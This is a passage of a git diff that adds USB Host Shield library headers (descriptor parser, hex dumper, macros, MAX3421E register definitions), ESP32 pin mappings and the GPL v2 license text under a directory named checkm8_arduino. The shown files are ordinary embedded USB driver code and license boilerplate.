+ typeof(addr) _addr = (addr); \ + *(const unsigned long *)(_addr); \ +}) +#define pgm_read_float(addr) ({ \ + typeof(addr) _addr = (addr); \ + *(const float *)(_addr); \ +}) +#define pgm_read_ptr(addr) ({ \ + typeof(addr) _addr = (addr); \ + *(void * const *)(_addr); \ +}) + +// Pinout for ESP32 dev module + +MAKE_PIN(P0, 0); +MAKE_PIN(P1, 1); // TX0 +MAKE_PIN(P10, 10); // TX1 +MAKE_PIN(P3, 3); // RX0 +MAKE_PIN(P21, 21); // SDA +MAKE_PIN(P22, 22); // SCL +MAKE_PIN(P19, 19); // MISO +MAKE_PIN(P23, 23); // MOSI +MAKE_PIN(P18, 18); // SCK +MAKE_PIN(P5, 5); // SS +MAKE_PIN(P17, 17); // INT + +#endif + +#undef MAKE_PIN + +// pgm_read_ptr is not defined in the ESP32, so we have to undef the diffinition from version_helper.h +#ifdef pgm_read_pointer +#undef pgm_read_pointer +#endif +#define pgm_read_pointer(p) pgm_read_ptr(p) + +#else +#error "Please define board in avrpins.h" + +#endif + +#endif //_avrpins_h_ diff --git a/checkm8_arduino/lib/hostshield/confdescparser.h b/checkm8_arduino/lib/hostshield/confdescparser.h new file mode 100644 index 0000000..5405354 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/confdescparser.h @@ -0,0 +1,217 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#if !defined(_usb_h_) || defined(__CONFDESCPARSER_H__) +#error "Never include confdescparser.h directly; include Usb.h instead" +#else + +#define __CONFDESCPARSER_H__ + +class UsbConfigXtracter { +public: + //virtual void ConfigXtract(const USB_CONFIGURATION_DESCRIPTOR *conf) = 0; + //virtual void InterfaceXtract(uint8_t conf, const USB_INTERFACE_DESCRIPTOR *iface) = 0; + + virtual void EndpointXtract(uint8_t conf __attribute__((unused)), uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *ep __attribute__((unused))) { + }; +}; + +#define CP_MASK_COMPARE_CLASS 1 +#define CP_MASK_COMPARE_SUBCLASS 2 +#define CP_MASK_COMPARE_PROTOCOL 4 +#define CP_MASK_COMPARE_ALL 7 + +// Configuration Descriptor Parser Class Template + +template +class ConfigDescParser : public USBReadParser { + UsbConfigXtracter *theXtractor; + MultiValueBuffer theBuffer; + MultiByteValueParser valParser; + ByteSkipper theSkipper; + uint8_t varBuffer[16 /*sizeof(USB_CONFIGURATION_DESCRIPTOR)*/]; + + uint8_t stateParseDescr; // ParseDescriptor state + + uint8_t dscrLen; // Descriptor length + uint8_t dscrType; // Descriptor type + + bool isGoodInterface; // Apropriate interface flag + uint8_t confValue; // Configuration value + uint8_t protoValue; // Protocol value + uint8_t ifaceNumber; // Interface number + uint8_t ifaceAltSet; // Interface alternate settings + + bool UseOr; + bool ParseDescriptor(uint8_t **pp, uint16_t *pcntdn); + void PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc); + +public: + + void SetOR(void) { + UseOr = true; + } + ConfigDescParser(UsbConfigXtracter *xtractor); + void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset); +}; + +template +ConfigDescParser::ConfigDescParser(UsbConfigXtracter *xtractor) : +theXtractor(xtractor), +stateParseDescr(0), +dscrLen(0), +dscrType(0), +UseOr(false) { + theBuffer.pValue = varBuffer; + valParser.Initialize(&theBuffer); + theSkipper.Initialize(&theBuffer); +}; + +template +void ConfigDescParser::Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset __attribute__((unused))) { + uint16_t cntdn = (uint16_t)len; + uint8_t *p = (uint8_t*)pbuf; + + while(cntdn) + if(!ParseDescriptor(&p, &cntdn)) + return; +} + +/* Parser for the configuration descriptor. Takes values for class, subclass, protocol fields in interface descriptor and + compare masks for them. When the match is found, calls EndpointXtract passing buffer containing endpoint descriptor */ +template +bool ConfigDescParser::ParseDescriptor(uint8_t **pp, uint16_t *pcntdn) { + USB_CONFIGURATION_DESCRIPTOR* ucd = reinterpret_cast(varBuffer); + USB_INTERFACE_DESCRIPTOR* uid = reinterpret_cast(varBuffer); + switch(stateParseDescr) { + case 0: + theBuffer.valueSize = 2; + valParser.Initialize(&theBuffer); + stateParseDescr = 1; + case 1: + if(!valParser.Parse(pp, pcntdn)) + return false; + dscrLen = *((uint8_t*)theBuffer.pValue); + dscrType = *((uint8_t*)theBuffer.pValue + 1); + stateParseDescr = 2; + case 2: + // This is a sort of hack. Assuming that two bytes are all ready in the buffer + // the pointer is positioned two bytes ahead in order for the rest of descriptor + // to be read right after the size and the type fields. + // This should be used carefully. varBuffer should be used directly to handle data + // in the buffer. + theBuffer.pValue = varBuffer + 2; + stateParseDescr = 3; + case 3: + switch(dscrType) { + case USB_DESCRIPTOR_INTERFACE: + isGoodInterface = false; + break; + case USB_DESCRIPTOR_CONFIGURATION: + case USB_DESCRIPTOR_ENDPOINT: + case HID_DESCRIPTOR_HID: + break; + } + theBuffer.valueSize = dscrLen - 2; + valParser.Initialize(&theBuffer); + stateParseDescr = 4; + case 4: + switch(dscrType) { + case USB_DESCRIPTOR_CONFIGURATION: + if(!valParser.Parse(pp, pcntdn)) + return false; + confValue = ucd->bConfigurationValue; + break; + case USB_DESCRIPTOR_INTERFACE: + if(!valParser.Parse(pp, pcntdn)) + return false; + if((MASK & CP_MASK_COMPARE_CLASS) && uid->bInterfaceClass != CLASS_ID) + break; + if((MASK & CP_MASK_COMPARE_SUBCLASS) && uid->bInterfaceSubClass != SUBCLASS_ID) + break; + if(UseOr) { + if((!((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol))) + break; + } else { + if((MASK & CP_MASK_COMPARE_PROTOCOL) && uid->bInterfaceProtocol != PROTOCOL_ID) + break; + } + isGoodInterface = true; + ifaceNumber = uid->bInterfaceNumber; + ifaceAltSet = uid->bAlternateSetting; + protoValue = uid->bInterfaceProtocol; + break; + case USB_DESCRIPTOR_ENDPOINT: + if(!valParser.Parse(pp, pcntdn)) + return false; + if(isGoodInterface) + if(theXtractor) + theXtractor->EndpointXtract(confValue, ifaceNumber, ifaceAltSet, protoValue, (USB_ENDPOINT_DESCRIPTOR*)varBuffer); + break; + //case HID_DESCRIPTOR_HID: + // if (!valParser.Parse(pp, pcntdn)) + // return false; + // PrintHidDescriptor((const USB_HID_DESCRIPTOR*)varBuffer); + // break; + default: + if(!theSkipper.Skip(pp, pcntdn, dscrLen - 2)) + return false; + } + theBuffer.pValue = varBuffer; + stateParseDescr = 0; + } + return true; +} + +template +void ConfigDescParser::PrintHidDescriptor(const USB_HID_DESCRIPTOR *pDesc) { + Notify(PSTR("\r\n\r\nHID Descriptor:\r\n"), 0x80); + Notify(PSTR("bDescLength:\t\t"), 0x80); + PrintHex (pDesc->bLength, 0x80); + + Notify(PSTR("\r\nbDescriptorType:\t"), 0x80); + PrintHex (pDesc->bDescriptorType, 0x80); + + Notify(PSTR("\r\nbcdHID:\t\t\t"), 0x80); + PrintHex (pDesc->bcdHID, 0x80); + + Notify(PSTR("\r\nbCountryCode:\t\t"), 0x80); + PrintHex (pDesc->bCountryCode, 0x80); + + Notify(PSTR("\r\nbNumDescriptors:\t"), 0x80); + PrintHex (pDesc->bNumDescriptors, 0x80); + + for(uint8_t i = 0; i < pDesc->bNumDescriptors; i++) { + HID_CLASS_DESCRIPTOR_LEN_AND_TYPE *pLT = (HID_CLASS_DESCRIPTOR_LEN_AND_TYPE*)&(pDesc->bDescrType); + + Notify(PSTR("\r\nbDescrType:\t\t"), 0x80); + PrintHex (pLT[i].bDescrType, 0x80); + + Notify(PSTR("\r\nwDescriptorLength:\t"), 0x80); + PrintHex (pLT[i].wDescriptorLength, 0x80); + } + Notify(PSTR("\r\n"), 0x80); +} + + +#endif // __CONFDESCPARSER_H__ diff --git a/checkm8_arduino/lib/hostshield/gpl2.txt b/checkm8_arduino/lib/hostshield/gpl2.txt new file mode 100644 index 0000000..5b6e7c6 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/gpl2.txt @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/checkm8_arduino/lib/hostshield/hexdump.h b/checkm8_arduino/lib/hostshield/hexdump.h new file mode 100644 index 0000000..3cdb9e2 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/hexdump.h @@ -0,0 +1,69 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(__HEXDUMP_H__) +#error "Never include hexdump.h directly; include Usb.h instead" +#else +#define __HEXDUMP_H__ + +extern int UsbDEBUGlvl; + +template +class HexDumper : public BASE_CLASS { + uint8_t byteCount; + OFFSET_TYPE byteTotal; + +public: + + HexDumper() : byteCount(0), byteTotal(0) { + }; + + void Initialize() { + byteCount = 0; + byteTotal = 0; + }; + + void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset); +}; + +template +void HexDumper::Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset __attribute__((unused))) { + if(UsbDEBUGlvl >= 0x80) { // Fully bypass this block of code if we do not debug. + for(LEN_TYPE j = 0; j < len; j++, byteCount++, byteTotal++) { + if(!byteCount) { + PrintHex (byteTotal, 0x80); + E_Notify(PSTR(": "), 0x80); + } + PrintHex (pbuf[j], 0x80); + E_Notify(PSTR(" "), 0x80); + + if(byteCount == 15) { + E_Notify(PSTR("\r\n"), 0x80); + byteCount = 0xFF; + } + } + } +} + +#endif // __HEXDUMP_H__ diff --git a/checkm8_arduino/lib/hostshield/macros.h b/checkm8_arduino/lib/hostshield/macros.h new file mode 100644 index 0000000..03e1c5b --- /dev/null +++ b/checkm8_arduino/lib/hostshield/macros.h @@ -0,0 +1,89 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(MACROS_H) +#error "Never include macros.h directly; include Usb.h instead" +#else +#define MACROS_H + +//////////////////////////////////////////////////////////////////////////////// +// HANDY MACROS +//////////////////////////////////////////////////////////////////////////////// + +#define VALUE_BETWEEN(v,l,h) (((v)>(l)) && ((v)<(h))) +#define VALUE_WITHIN(v,l,h) (((v)>=(l)) && ((v)<=(h))) +#define output_pgm_message(wa,fp,mp,el) wa = &mp, fp((char *)pgm_read_pointer(wa), el) +#define output_if_between(v,l,h,wa,fp,mp,el) if(VALUE_BETWEEN(v,l,h)) output_pgm_message(wa,fp,mp[v-(l+1)],el); + +#define SWAP(a, b) (((a) ^= (b)), ((b) ^= (a)), ((a) ^= (b))) +#ifndef __BYTE_GRABBING_DEFINED__ +#define __BYTE_GRABBING_DEFINED__ 1 +#ifdef BROKEN_OPTIMIZER_LITTLE_ENDIAN +// Note: Use this if your compiler generates horrible assembler! +#define BGRAB0(__usi__) (((uint8_t *)&(__usi__))[0]) +#define BGRAB1(__usi__) (((uint8_t *)&(__usi__))[1]) +#define BGRAB2(__usi__) (((uint8_t *)&(__usi__))[2]) +#define BGRAB3(__usi__) (((uint8_t *)&(__usi__))[3]) +#define BGRAB4(__usi__) (((uint8_t *)&(__usi__))[4]) +#define BGRAB5(__usi__) (((uint8_t *)&(__usi__))[5]) +#define BGRAB6(__usi__) (((uint8_t *)&(__usi__))[6]) +#define BGRAB7(__usi__) (((uint8_t *)&(__usi__))[7]) +#else +// Note: The cast alone to uint8_t is actually enough. +// GCC throws out the "& 0xff", and the size is no different. +// Some compilers need it. +#define BGRAB0(__usi__) ((uint8_t)((__usi__) & 0xff )) +#define BGRAB1(__usi__) ((uint8_t)(((__usi__) >> 8) & 0xff)) +#define BGRAB2(__usi__) ((uint8_t)(((__usi__) >> 16) & 0xff)) +#define BGRAB3(__usi__) ((uint8_t)(((__usi__) >> 24) & 0xff)) +#define BGRAB4(__usi__) ((uint8_t)(((__usi__) >> 32) & 0xff)) +#define BGRAB5(__usi__) ((uint8_t)(((__usi__) >> 40) & 0xff)) +#define BGRAB6(__usi__) ((uint8_t)(((__usi__) >> 48) & 0xff)) +#define BGRAB7(__usi__) ((uint8_t)(((__usi__) >> 56) & 0xff)) +#endif +#define BOVER1(__usi__) ((uint16_t)(__usi__) << 8) +#define BOVER2(__usi__) ((uint32_t)(__usi__) << 16) +#define BOVER3(__usi__) ((uint32_t)(__usi__) << 24) +#define BOVER4(__usi__) ((uint64_t)(__usi__) << 32) +#define BOVER5(__usi__) ((uint64_t)(__usi__) << 40) +#define BOVER6(__usi__) ((uint64_t)(__usi__) << 48) +#define BOVER7(__usi__) ((uint64_t)(__usi__) << 56) + +// These are the smallest and fastest ways I have found so far in pure C/C++. +#define BMAKE16(__usc1__,__usc0__) ((uint16_t)((uint16_t)(__usc0__) | (uint16_t)BOVER1(__usc1__))) +#define BMAKE32(__usc3__,__usc2__,__usc1__,__usc0__) ((uint32_t)((uint32_t)(__usc0__) | (uint32_t)BOVER1(__usc1__) | (uint32_t)BOVER2(__usc2__) | (uint32_t)BOVER3(__usc3__))) +#define BMAKE64(__usc7__,__usc6__,__usc5__,__usc4__,__usc3__,__usc2__,__usc1__,__usc0__) ((uint64_t)((uint64_t)__usc0__ | (uint64_t)BOVER1(__usc1__) | (uint64_t)BOVER2(__usc2__) | (uint64_t)BOVER3(__usc3__) | (uint64_t)BOVER4(__usc4__) | (uint64_t)BOVER5(__usc5__) | (uint64_t)BOVER6(__usc6__) | (uint64_t)BOVER1(__usc7__))) +#endif + +/* + * Debug macros: Strings are stored in progmem (flash) instead of RAM. + */ +#define USBTRACE(s) (Notify(PSTR(s), 0x80)) +#define USBTRACE1(s,l) (Notify(PSTR(s), l)) +#define USBTRACE2(s,r) (Notify(PSTR(s), 0x80), D_PrintHex((r), 0x80), Notify(PSTR("\r\n"), 0x80)) +#define USBTRACE3(s,r,l) (Notify(PSTR(s), l), D_PrintHex((r), l), Notify(PSTR("\r\n"), l)) + + +#endif /* MACROS_H */ + diff --git a/checkm8_arduino/lib/hostshield/max3421e.h b/checkm8_arduino/lib/hostshield/max3421e.h new file mode 100644 index 0000000..1ad1e3d --- /dev/null +++ b/checkm8_arduino/lib/hostshield/max3421e.h @@ -0,0 +1,235 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ +#if !defined(_usb_h_) || defined(_max3421e_h_) +#error "Never include max3421e.h directly; include Usb.h instead" +#else + +#define _max3421e_h_ + +/* MAX3421E register/bit names and bitmasks */ + +/* Arduino pin definitions */ +/* pin numbers to port numbers */ + +#define SE0 0 +#define SE1 1 +#define FSHOST 2 +#define LSHOST 3 + +/* MAX3421E command byte format: rrrrr0wa where 'r' is register number */ +// +// MAX3421E Registers in HOST mode. +// +#define rRCVFIFO 0x08 //1<<3 +#define rSNDFIFO 0x10 //2<<3 +#define rSUDFIFO 0x20 //4<<3 +#define rRCVBC 0x30 //6<<3 +#define rSNDBC 0x38 //7<<3 + +#define rUSBIRQ 0x68 //13<<3 +/* USBIRQ Bits */ +#define bmVBUSIRQ 0x40 //b6 +#define bmNOVBUSIRQ 0x20 //b5 +#define bmOSCOKIRQ 0x01 //b0 + +#define rUSBIEN 0x70 //14<<3 +/* USBIEN Bits */ +#define bmVBUSIE 0x40 //b6 +#define bmNOVBUSIE 0x20 //b5 +#define bmOSCOKIE 0x01 //b0 + +#define rUSBCTL 0x78 //15<<3 +/* USBCTL Bits */ +#define bmCHIPRES 0x20 //b5 +#define bmPWRDOWN 0x10 //b4 + +#define rCPUCTL 0x80 //16<<3 +/* CPUCTL Bits */ +#define bmPUSLEWID1 0x80 //b7 +#define bmPULSEWID0 0x40 //b6 +#define bmIE 0x01 //b0 + +#define rPINCTL 0x88 //17<<3 +/* PINCTL Bits */ +#define bmFDUPSPI 0x10 //b4 +#define bmINTLEVEL 0x08 //b3 +#define bmPOSINT 0x04 //b2 +#define bmGPXB 0x02 //b1 +#define bmGPXA 0x01 //b0 +// GPX pin selections +#define GPX_OPERATE 0x00 +#define GPX_VBDET 0x01 +#define GPX_BUSACT 0x02 +#define GPX_SOF 0x03 + +#define rREVISION 0x90 //18<<3 + +#define rIOPINS1 